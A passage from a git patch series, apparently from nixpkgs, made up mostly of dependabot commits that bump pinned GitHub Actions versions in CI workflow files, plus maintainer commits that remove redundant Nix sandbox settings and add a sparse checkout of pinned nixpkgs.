     owner = "DependencyTrack";
     repo = "dependency-track";
     rev = version;
-    hash = "sha256-4A34lt6M0M1+HPGFFqH/Ik07FBNz6pI0XYiW9rIVsOk=";
+    hash = "sha256-9kkWb1YfUANoVAb9mnLkmVswE4f+YdEtd5aPEP+TRFo=";
   };
 
   patches = [
@@ -65,7 +65,7 @@ maven.buildMavenPackage rec {
   '';
 
   mvnJdk = jre_headless;
-  mvnHash = "sha256-V0EhfPN8htR4v/KQpQ9tec6dAe/FOxBCp8cUZqL7mFo=";
+  mvnHash = "sha256-jsS8/xfvoowzcym3cxv9L5rYSr8YezPEQaUofs7yxUI=";
   manualMvnArtifacts = [ "com.coderplus.maven.plugins:copy-rename-maven-plugin:1.0.1" ];
   buildOffline = true;
 

From 8704c56787c66398901d008e47579ea6023f091c Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 11 Aug 2025 15:07:05 +0000
Subject: [PATCH 3420/4511] build(deps): bump cachix/install-nix-action from
 31.4.1 to 31.5.2

Bumps [cachix/install-nix-action](https://github.com/cachix/install-nix-action) from 31.4.1 to 31.5.2.
- [Release notes](https://github.com/cachix/install-nix-action/releases)
- [Changelog](https://github.com/cachix/install-nix-action/blob/master/RELEASE.md)
- [Commits](https://github.com/cachix/install-nix-action/compare/f0fe604f8a612776892427721526b4c7cfb23aba...fc6e360bedc9ee72d75e701397f0bb30dce77568)

---
updated-dependencies:
- dependency-name: cachix/install-nix-action
  dependency-version: 31.5.2
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
(cherry picked from commit b455a0a294264f580d244211d2a6d670517448aa)
---
 .github/workflows/build.yml         | 2 +-
 .github/workflows/codeowners-v2.yml | 4 ++--
 .github/workflows/eval.yml          | 6 +++---
 .github/workflows/lint.yml          | 6 +++---
 .github/workflows/reviewers.yml     | 2 +-
 5 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index e9e090cb5b2a..59cc999ad32d 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -54,7 +54,7 @@ jobs:
           mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
 
-      - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
+      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
         with:
           extra_nix_config: sandbox = true
 
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index bcc85faed352..f60ee41a4c80 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -60,7 +60,7 @@ jobs:
           merged-as-untrusted: true
           target-as-trusted: true
 
-      - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
+      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
@@ -109,7 +109,7 @@ jobs:
     runs-on: ubuntu-24.04-arm
     timeout-minutes: 5
     steps:
-      - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
+      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
       # Important: Because we use pull_request_target, this checks out the base branch of the PR, not the PR head.
       # This is intentional, because we need to request the review of owners as declared in the base branch.
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 64f6d2ba668e..db269471fb9f 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -51,7 +51,7 @@ jobs:
           path: untrusted
 
       - name: Install Nix
-        uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
+        uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
         with:
           extra_nix_config: sandbox = true
 
@@ -172,7 +172,7 @@ jobs:
           path: trusted
 
       - name: Install Nix
-        uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
+        uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
         with:
           extra_nix_config: sandbox = true
 
@@ -250,7 +250,7 @@ jobs:
           merged-as-untrusted: true
 
       - name: Install Nix
-        uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
+        uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
         with:
           extra_nix_config: sandbox = true
 
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index ccc2846dab0f..2d5d93c23952 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -30,7 +30,7 @@ jobs:
           mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
 
-      - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
+      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
         with:
           extra_nix_config: sandbox = true
 
@@ -63,7 +63,7 @@ jobs:
           mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
 
-      - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
+      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
         with:
           extra_nix_config: sandbox = true
 
@@ -87,7 +87,7 @@ jobs:
           targetSha: ${{ inputs.targetSha }}
           target-as-trusted: true
 
-      - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
+      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
         with:
           extra_nix_config: sandbox = true
 
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 797fa9e91911..85291d7b604a 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -36,7 +36,7 @@ jobs:
           sparse-checkout: ci
 
       - name: Install Nix
-        uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
+        uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
         with:
           extra_nix_config: sandbox = true
 

From 0962de4c4b1264b768863fb96cb6432c9d297396 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 11 Aug 2025 15:06:46 +0000
Subject: [PATCH 3421/4511] build(deps): bump actions/download-artifact from 4
 to 5

Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 4 to 5.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
(cherry picked from commit c44f3e4699e91fbfbf5866d19828fbd8c6661999)
---
 .github/workflows/eval.yml      | 4 ++--
 .github/workflows/reviewers.yml | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index db269471fb9f..195891954043 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -123,7 +123,7 @@ jobs:
           GH_TOKEN: ${{ github.token }}
         run: gh api /rate_limit | jq
 
-      - uses: actions/download-artifact@v4
+      - uses: actions/download-artifact@v5
         if: steps.targetRunId.outputs.targetRunId
         with:
           run-id: ${{ steps.targetRunId.outputs.targetRunId }}
@@ -159,7 +159,7 @@ jobs:
     timeout-minutes: 5
     steps:
       - name: Download output paths and eval stats for all systems
-        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        uses: actions/download-artifact@de96f4613b77ec03b5cf633e7c350c32bd3c5660 # v4.1.8
         with:
           pattern: diff-*
           path: diff
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 85291d7b604a..c1ca546eaab4 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -98,7 +98,7 @@ jobs:
         run: gh api /rate_limit | jq
 
       - name: Download the comparison results
-        uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
+        uses: actions/download-artifact@de96f4613b77ec03b5cf633e7c350c32bd3c5660 # v4.1.8
         with:
           run-id: ${{ steps.eval.outputs.run-id }}
           github-token: ${{ github.token }}

From c3969b49ee2ac80a39791a725e270ad3143735db Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 11 Aug 2025 15:06:58 +0000
Subject: [PATCH 3422/4511] build(deps): bump actions/checkout from 4.2.2 to
 5.0.0

Bumps [actions/checkout](https://github.com/actions/checkout) from 4.2.2 to 5.0.0.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/11bd71901bbe5b1630ceea73d27597364c9af683...08c6903cd8c0fde910a37f88322edcfb5dd907a8)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: 5.0.0
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
(cherry picked from commit 593aee095f36384635ba5a89fd414a239d025ea3)
---
 .github/workflows/backport.yml       | 2 +-
 .github/workflows/build.yml          | 2 +-
 .github/workflows/check.yml          | 2 +-
 .github/workflows/codeowners-v2.yml  | 4 ++--
 .github/workflows/eval.yml           | 6 +++---
 .github/workflows/labels.yml         | 2 +-
 .github/workflows/lint.yml           | 6 +++---
 .github/workflows/periodic-merge.yml | 2 +-
 .github/workflows/pr.yml             | 2 +-
 .github/workflows/push.yml           | 2 +-
 .github/workflows/reviewers.yml      | 2 +-
 11 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index 57c0719ac5e2..cde41c2f59b9 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -35,7 +35,7 @@ jobs:
           permission-contents: write
           permission-pull-requests: write
 
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           ref: ${{ github.event.pull_request.head.sha }}
           token: ${{ steps.app-token.outputs.token }}
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 59cc999ad32d..87b52bce531c 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -45,7 +45,7 @@ jobs:
     runs-on: ${{ matrix.runner }}
     timeout-minutes: 60
     steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
       - name: Check if the PR can be merged and checkout the merge commit
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index c04a6dc49186..c19c3b6e81ae 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -40,7 +40,7 @@ jobs:
     runs-on: ubuntu-24.04-arm
     timeout-minutes: 3
     steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           fetch-depth: 0
           filter: tree:0
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index f60ee41a4c80..008b24d157cb 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -51,7 +51,7 @@ jobs:
     runs-on: ubuntu-24.04-arm
     timeout-minutes: 5
     steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
       - name: Check if the PR can be merged and checkout the merge and target commits
@@ -113,7 +113,7 @@ jobs:
 
       # Important: Because we use pull_request_target, this checks out the base branch of the PR, not the PR head.
       # This is intentional, because we need to request the review of owners as declared in the base branch.
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           path: trusted
 
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 195891954043..aa0b2a304e2a 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -45,7 +45,7 @@ jobs:
           sudo swapon /swap
 
       - name: Check out the PR at the test merge commit
-        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           ref: ${{ inputs.mergedSha }}
           path: untrusted
@@ -166,7 +166,7 @@ jobs:
           merge-multiple: true
 
       - name: Check out the PR at the target commit
-        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           ref: ${{ inputs.targetSha }}
           path: trusted
@@ -241,7 +241,7 @@ jobs:
     runs-on: ubuntu-24.04-arm
     timeout-minutes: 10
     steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
       - name: Check if the PR can be merged and checkout the merge commit
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 14876ecf6294..ee72bf834cad 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -40,7 +40,7 @@ jobs:
     runs-on: ubuntu-24.04-arm
     if: github.event_name != 'schedule' || github.repository_owner == 'NixOS'
     steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: |
             ci/github-script
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 2d5d93c23952..feb7c2e196b4 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -21,7 +21,7 @@ jobs:
     runs-on: ubuntu-24.04-arm
     timeout-minutes: 10
     steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
       - name: Check if the PR can be merged and checkout the merge commit
@@ -54,7 +54,7 @@ jobs:
     runs-on: ubuntu-24.04-arm
     timeout-minutes: 10
     steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
       - name: Check if the PR can be merged and checkout the merge commit
@@ -76,7 +76,7 @@ jobs:
     runs-on: ubuntu-24.04-arm
     timeout-minutes: 10
     steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
       - name: Check if the PR can be merged and checkout merged and target commits
diff --git a/.github/workflows/periodic-merge.yml b/.github/workflows/periodic-merge.yml
index 6fa5e699fc5d..d01f34ebe4ed 100644
--- a/.github/workflows/periodic-merge.yml
+++ b/.github/workflows/periodic-merge.yml
@@ -31,7 +31,7 @@ jobs:
           permission-contents: write
           permission-pull-requests: write
 
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
 
       - name: Find merge base between two branches
         if: contains(inputs.from, ' ')
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 117551bb49e3..086b14268f5b 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -29,7 +29,7 @@ jobs:
       targetSha: ${{ steps.get-merge-commit.outputs.targetSha }}
       systems: ${{ steps.systems.outputs.systems }}
     steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: |
             .github/actions
diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml
index 407b77194f35..ae829ed0ff2b 100644
--- a/.github/workflows/push.yml
+++ b/.github/workflows/push.yml
@@ -23,7 +23,7 @@ jobs:
     outputs:
       systems: ${{ steps.systems.outputs.systems }}
     steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: |
             ci/supportedSystems.json
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index c1ca546eaab4..86a6be97e13f 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -30,7 +30,7 @@ jobs:
     timeout-minutes: 20
     steps:
       - name: Check out the PR at the base commit
-        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           path: trusted
           sparse-checkout: ci

From 8a03e7155244bd41ebf8ddd7989278a4ed8ccf43 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 11 Aug 2025 15:06:38 +0000
Subject: [PATCH 3423/4511] build(deps): bump actions/create-github-app-token
 from 2.0.6 to 2.1.0

Bumps [actions/create-github-app-token](https://github.com/actions/create-github-app-token) from 2.0.6 to 2.1.0.
- [Release notes](https://github.com/actions/create-github-app-token/releases)
- [Commits](https://github.com/actions/create-github-app-token/compare/df432ceedc7162793a195dd1713ff69aefc7379e...0f859bf9e69e887678d5bbfbee594437cb440ffe)

---
updated-dependencies:
- dependency-name: actions/create-github-app-token
  dependency-version: 2.1.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
(cherry picked from commit d1d2650cba1394f8b4c57b3cc23ee6a7e4921a8d)
---
 .github/workflows/backport.yml       | 2 +-
 .github/workflows/codeowners-v2.yml  | 4 ++--
 .github/workflows/edited.yml         | 2 +-
 .github/workflows/labels.yml         | 2 +-
 .github/workflows/periodic-merge.yml | 2 +-
 .github/workflows/reviewers.yml      | 2 +-
 6 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index cde41c2f59b9..d93e11fbcd7a 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -27,7 +27,7 @@ jobs:
     steps:
       # Use a GitHub App to create the PR so that CI gets triggered
       # The App is scoped to Repository > Contents and Pull Requests: write for Nixpkgs
-      - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
+      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
         id: app-token
         with:
           app-id: ${{ vars.NIXPKGS_CI_APP_ID }}
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index 008b24d157cb..94cb82a68e73 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -71,7 +71,7 @@ jobs:
       - name: Build codeowners validator
         run: nix-build trusted/ci -A codeownersValidator
 
-      - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
+      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
         if: github.event_name == 'pull_request_target' && vars.OWNER_RO_APP_ID
         id: app-token
         with:
@@ -120,7 +120,7 @@ jobs:
       - name: Build review request package
         run: nix-build trusted/ci -A requestReviews
 
-      - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
+      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
         if: github.event_name == 'pull_request_target' && vars.OWNER_APP_ID
         id: app-token
         with:
diff --git a/.github/workflows/edited.yml b/.github/workflows/edited.yml
index ccc55e820e3a..b1b5b6dfc077 100644
--- a/.github/workflows/edited.yml
+++ b/.github/workflows/edited.yml
@@ -36,7 +36,7 @@ jobs:
       # Use a GitHub App to create the PR so that CI gets triggered
       # The App is scoped to Repository > Contents and Pull Requests: write for Nixpkgs
       # We only need Pull Requests: write here, but the app is also used for backports.
-      - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
+      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
         id: app-token
         with:
           app-id: ${{ vars.NIXPKGS_CI_APP_ID }}
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index ee72bf834cad..97049cb08f87 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -49,7 +49,7 @@ jobs:
         run: npm install @actions/artifact bottleneck
 
       # Use a GitHub App, because it has much higher rate limits: 12,500 instead of 5,000 req / hour.
-      - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
+      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
         if: vars.NIXPKGS_CI_APP_ID
         id: app-token
         with:
diff --git a/.github/workflows/periodic-merge.yml b/.github/workflows/periodic-merge.yml
index d01f34ebe4ed..4e22a2bcbbd9 100644
--- a/.github/workflows/periodic-merge.yml
+++ b/.github/workflows/periodic-merge.yml
@@ -23,7 +23,7 @@ jobs:
     steps:
       # Use a GitHub App to create the PR so that CI gets triggered
       # The App is scoped to Repository > Contents and Pull Requests: write for Nixpkgs
-      - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
+      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
         id: app-token
         with:
           app-id: ${{ vars.NIXPKGS_CI_APP_ID }}
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 86a6be97e13f..43c009cdf3de 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -45,7 +45,7 @@ jobs:
 
       # See ./codeowners-v2.yml, reuse the same App because we need the same permissions
       # Can't use the token received from permissions above, because it can't get enough permissions
-      - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
+      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
         if: github.event_name == 'pull_request_target' && vars.OWNER_APP_ID
         id: app-token
         with:

From 15e17895b53df365c6278157ab4b25c085fe1b81 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 10 Aug 2025 14:45:04 +0200
Subject: [PATCH 3424/4511] workflows: remove extra_nix_config.sandbox

This is true by default anyway.

(cherry picked from commit de7aa9f213ef0608decb52619d4b455fc5904a56)
---
 .github/workflows/build.yml     | 1 +
 .github/workflows/eval.yml      | 6 ------
 .github/workflows/lint.yml      | 6 ------
 .github/workflows/reviewers.yml | 2 --
 4 files changed, 1 insertion(+), 14 deletions(-)

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 87b52bce531c..1acfc105b98a 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -56,6 +56,7 @@ jobs:
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
         with:
+          # Sandbox is disabled on MacOS by default.
           extra_nix_config: sandbox = true
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index aa0b2a304e2a..57e456fbfd37 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -52,8 +52,6 @@ jobs:
 
       - name: Install Nix
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
-        with:
-          extra_nix_config: sandbox = true
 
       - name: Evaluate the ${{ matrix.system }} output paths for all derivation attributes
         env:
@@ -173,8 +171,6 @@ jobs:
 
       - name: Install Nix
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
-        with:
-          extra_nix_config: sandbox = true
 
       - name: Combine all output paths and eval stats
         run: |
@@ -251,8 +247,6 @@ jobs:
 
       - name: Install Nix
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
-        with:
-          extra_nix_config: sandbox = true
 
       - name: Ensure flake outputs on all systems still evaluate
         run: nix flake check --all-systems --no-build ./untrusted
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index feb7c2e196b4..62ff9832f3fb 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -31,8 +31,6 @@ jobs:
           merged-as-untrusted: true
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
-        with:
-          extra_nix_config: sandbox = true
 
       - name: Check that files are formatted
         run: |
@@ -64,8 +62,6 @@ jobs:
           merged-as-untrusted: true
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
-        with:
-          extra_nix_config: sandbox = true
 
       - name: Parse all nix files
         run: |
@@ -88,8 +84,6 @@ jobs:
           target-as-trusted: true
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
-        with:
-          extra_nix_config: sandbox = true
 
       - name: Running nixpkgs-vet
         env:
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 43c009cdf3de..2cddb17a1018 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -37,8 +37,6 @@ jobs:
 
       - name: Install Nix
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
-        with:
-          extra_nix_config: sandbox = true
 
       - name: Build the requestReviews derivation
         run: nix-build trusted/ci -A requestReviews

From 06c8d5c918e666c953976c608cff09f9ec170e60 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 10 Aug 2025 14:44:39 +0200
Subject: [PATCH 3425/4511] workflows: checkout pinned nixpkgs explicitly

This is slightly faster than downloading and extracting a tarball and
additionally allows a sparse checkout. No need to download docs or nixos
for our purpose.

The data is quite noisy, but suggests improvements from anywhere between
5-15 seconds for each job using the pinned nixpkgs.

(cherry picked from commit 8a9f0b8a474be4de8ed100594c3e64f50ca522b2)
---
 .github/actions/get-merge-commit/action.yml | 26 +++++++++++++++
 .github/workflows/build.yml                 | 13 ++++----
 .github/workflows/eval.yml                  | 36 +++++++++++++--------
 .github/workflows/lint.yml                  |  9 ++++--
 ci/default.nix                              |  4 +--
 5 files changed, 63 insertions(+), 25 deletions(-)

diff --git a/.github/actions/get-merge-commit/action.yml b/.github/actions/get-merge-commit/action.yml
index aec17bf76858..adbc060ae9af 100644
--- a/.github/actions/get-merge-commit/action.yml
+++ b/.github/actions/get-merge-commit/action.yml
@@ -9,6 +9,9 @@ inputs:
   merged-as-untrusted:
     description: "Whether to checkout the merge commit in the ./untrusted folder."
     type: boolean
+  pinnedFrom:
+    description: "Whether to checkout the pinned nixpkgs for CI and from where (trusted, untrusted)."
+    type: string
   targetSha:
     description: "The target commit SHA, previously collected."
     type: string
@@ -93,3 +96,26 @@ runs:
       with:
         ref: ${{ inputs.targetSha || steps.commits.outputs.targetSha }}
         path: trusted
+
+    - if: inputs.pinnedFrom
+      id: pinned
+      uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+      env:
+        PINNED_FROM: ${{ inputs.pinnedFrom }}
+      with:
+        script: |
+          const path = require('node:path')
+          const pinned = require(path.resolve(path.join(process.env.PINNED_FROM, 'ci', 'pinned.json')))
+          core.setOutput('pinnedSha', pinned.pins.nixpkgs.revision)
+
+    - if: steps.pinned.outputs.pinnedSha
+      uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
+      with:
+        ref: ${{ steps.pinned.outputs.pinnedSha }}
+        path: pinned
+        sparse-checkout: |
+          lib
+          maintainers
+          nixos/lib
+          pkgs
+
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 1acfc105b98a..ff2477fec8f3 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -53,6 +53,7 @@ jobs:
         with:
           mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
+          pinnedFrom: untrusted
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
         with:
@@ -67,29 +68,29 @@ jobs:
 
       - name: Build shell
